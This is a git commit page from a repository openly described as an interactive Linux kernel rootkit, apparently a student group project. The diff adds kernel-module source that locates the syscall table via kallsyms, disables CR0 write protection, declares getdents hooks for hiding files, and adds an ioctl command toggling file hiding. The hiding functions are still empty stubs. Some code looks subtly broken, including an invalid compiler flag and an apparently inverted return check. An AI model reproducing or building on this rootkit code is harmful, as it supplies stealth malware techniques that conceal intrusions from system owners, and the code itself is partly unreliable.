linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit f0ceea2cc8462d376accbb37c76f77721c81376d
parent 52bcf9708dedc609778bdd9165367fc300ffbc64
Author: deurzen <m.deurzen@tum.de>
Date:   Sat, 21 Nov 2020 14:58:28 +0100

initial hooks work

Diffstat:
MMakefile | 2+-
Asrc/common.h | 12++++++++++++
Asrc/filehide.c | 19+++++++++++++++++++
Asrc/filehide.h | 22++++++++++++++++++++++
Msrc/g7.c | 12+++++++++++-
Msrc/hook.c | 19+++++++++++++++++--
Msrc/hook.h | 5++++-
Msrc/ioctl.c | 21+++++++++++++++++----
Msrc/ioctl.h | 10+++++-----
Asrc/rootkit.h | 8++++++++
10 files changed, 116 insertions(+), 14 deletions(-)

diff --git a/Makefile b/Makefile @@ -10,7 +10,7 @@ SRC_FILES := $(SRC_FILES:$(src)/%=%) obj-m += $(TARGET).o $(TARGET)-objs := $(SRC_FILES:%.c=%.o) -ccflags-y := -std=gnu99 -Wno-declaration-after-statement +ccflags-y := -std=std99 -Wno-declaration-after-statement all: test diff --git a/src/common.h b/src/common.h @@ -0,0 +1,12 @@ +#ifndef _GROUP7_COMMON_H +#define _GROUP7_COMMON_H + +#ifdef DEBUG +#define DEBUG_INFO(...) do{ pr_info(__VA_ARGS__); } while(false) +#define DEBUG_NOTICE(...) do{ pr_notice(__VA_ARGS__); } while(false) +#else +#define DEBUG_INFO(...) do{} while (false) +#define DEBUG_NOTICE(...) do{} while (false) +#endif + +#endif//_GROUP7_COMMON_H diff --git a/src/filehide.c b/src/filehide.c @@ -0,0 +1,19 @@ +#include "filehide.h" +#include "hook.h" + + +long (*sys_getdents)(unsigned int, struct linux_dirent *, unsigned int); +long (*sys_getdents64)(unsigned int, struct linux_dirent64 *, unsigned int); + + +void +hide_files(void) +{ + +} + +void +unhide_files(void) +{ + +} diff --git a/src/filehide.h b/src/filehide.h @@ -0,0 +1,22 @@ +#ifndef _GROUP7_FILEHIDE_H +#define _GROUP7_FILEHIDE_H + +#include <linux/types.h> +#include <linux/dirent.h> +#include <linux/syscalls.h> + + +struct g7_linux_dirent { + u64 d_ino; + s64 d_off; + unsigned short d_reclen; + char d_name[]; +}; + +long g7_getdents(unsigned int, struct linux_dirent __user *, unsigned int); +long g7_getdents64(unsigned int, struct linux_dirent64 __user *, unsigned int); + +void hide_files(void); +void unhide_files(void); + +#endif//_GROUP7_FILEHIDE_H diff --git a/src/g7.c b/src/g7.c @@ -8,10 +8,13 @@ #include <linux/printk.h> #include "common.h" +#include "rootkit.h" #include "ioctl.h" +#include "hook.h" #define BUFLEN 4096 + static int __init g7_init(void); static void __exit g7_exit(void); @@ -36,6 +39,10 @@ static struct file_operations g7_fops = }; +rootkit_t rootkit = { + .hiding_files = true, +}; + static int g7_open(struct inode *inode, struct file *file) @@ -70,7 +77,7 @@ g7_write(struct file *file, const char __user *buf, size_t len, loff_t *off) static long g7_ioctl(struct file *_file, unsigned int cmd, unsigned long arg) { - channel c = detect_channel(cmd); + channel_t c = detect_channel(cmd); DEBUG_NOTICE("[g7_ioctl] on %#10x (%s)\n", cmd, c.name); if (((const char *)arg) && c.handler) @@ -86,6 +93,9 @@ g7_init(void) mutex_init(&lock); proc_create_data(G7_DEVICE, S_IRUSR | S_IWUSR, 0, &g7_fops, buf); + if (!retrieve_sys_call_table()) + return -1; + DEBUG_INFO("[g7_init] at /proc/%s\n", G7_DEVICE); report_channels(); diff --git a/src/hook.c b/src/hook.c @@ -3,14 +3,29 @@ #include "hook.h" +unsigned long *sys_call_table; + +int +retrieve_sys_call_table(void) +{ + disable_protection(); + + int ret = !(sys_call_table + = (unsigned long *)kallsyms_lookup_name("sys_call_table")); + + enable_protection(); + + return ret; +} + void disable_protection(void) { - write_cr0(read_cr0() & (~0x10000)); + write_cr0(read_cr0() & (~0x10000)); } void enable_protection(void) { - write_cr0(read_cr0() | 0x10000); + write_cr0(read_cr0() | 0x10000); } diff --git a/src/hook.h b/src/hook.h @@ -1,8 +1,11 @@ #ifndef _GROUP7_HOOK_H #define _GROUP7_HOOK_H +extern unsigned long *sys_call_table; + +int retrieve_sys_call_table(void); + void disable_protection(void); void enable_protection(void); - #endif//_GROUP7_HOOK_H diff --git a/src/ioctl.c b/src/ioctl.c @@ -3,12 +3,16 @@ #include <linux/uaccess.h> #include "common.h" +#include "rootkit.h" #include "ioctl.h" +#include "filehide.h" #define BUFLEN 4096 static char buf[BUFLEN]; +extern rootkit_t rootkit; + void report_channels(void) { @@ -19,15 +23,15 @@ report_channels(void) DEBUG_NOTICE("-----------------------------------\n"); } -channel +channel_t detect_channel(unsigned int cmd) { switch (cmd) { - case G7_PING: return (channel){ "PING", handle_ping }; - case G7_FILEHIDE: return (channel){ "FILEHIDE", handle_filehide }; + case G7_PING: return (channel_t){ "PING", handle_ping }; + case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide }; } - return (channel){ "unknown", NULL }; + return (channel_t){ "unknown", NULL }; } int @@ -45,5 +49,14 @@ handle_ping(unsigned long arg) int handle_filehide(unsigned long arg) { + bool set; + + if ((set = rootkit.hiding_files ^= 1)) + hide_files(); + else + unhide_files(); + + DEBUG_NOTICE("filehide toggled %s", set ? "on" : "off"); + return 0; } diff --git a/src/ioctl.h b/src/ioctl.h @@ -10,13 +10,13 @@ #define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *) -typedef struct channel { - const char *name; - int (*handler)(unsigned long); -} channel; +typedef struct { + const char *name; + int (*handler)(unsigned long); +} channel_t; void report_channels(void); -channel detect_channel(unsigned int); +channel_t detect_channel(unsigned int); // handlers int handle_ping(unsigned long); diff --git a/src/rootkit.h b/src/rootkit.h @@ -0,0 +1,8 @@ +#ifndef _GROUP7_ROOTKIT_H +#define _GROUP7_ROOTKIT_H + +typedef struct { + bool hiding_files; +} rootkit_t; + +#endif//_GROUP7_ROOTKIT_H